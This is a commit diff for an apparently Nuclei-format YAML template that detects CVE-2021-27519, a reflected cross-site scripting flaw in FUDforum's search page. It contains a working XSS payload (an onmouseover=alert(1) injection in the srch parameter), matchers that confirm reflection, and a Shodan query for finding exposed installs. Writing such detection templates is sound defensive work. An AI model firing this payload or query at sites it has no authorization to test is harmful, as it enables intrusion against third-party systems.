Update CVE-2021-27519.yaml

patch-1
Prince Chaddha 2022-06-01 19:03:12 +05:30 committed by GitHub
parent b436cdc9e9
commit 6be0d90a50
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 6 deletions

View File

@ -15,27 +15,26 @@ info:
cve-id: CVE-2021-27519
cwe-id: CWE-79
metadata:
shodan-query: 'http.html:"Powered by: FUDforum"'
verified: true
tags: xss,fudforum,cve2021
shodan-query: 'http.html:"Powered by: FUDforum"'
tags: cve,cve2021,xss,fudforum
requests:
- method: GET
path:
- '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0'
matchers-condition: and
matchers:
- type: word
part: body
words:
- x" onmouseover=alert(1) x=
- 'highlightSearchTerms("x" onmouseover=alert(1) x="");'
- type: word
part: header
words:
- "text/html"
condition: and
- text/html
- type: status
status: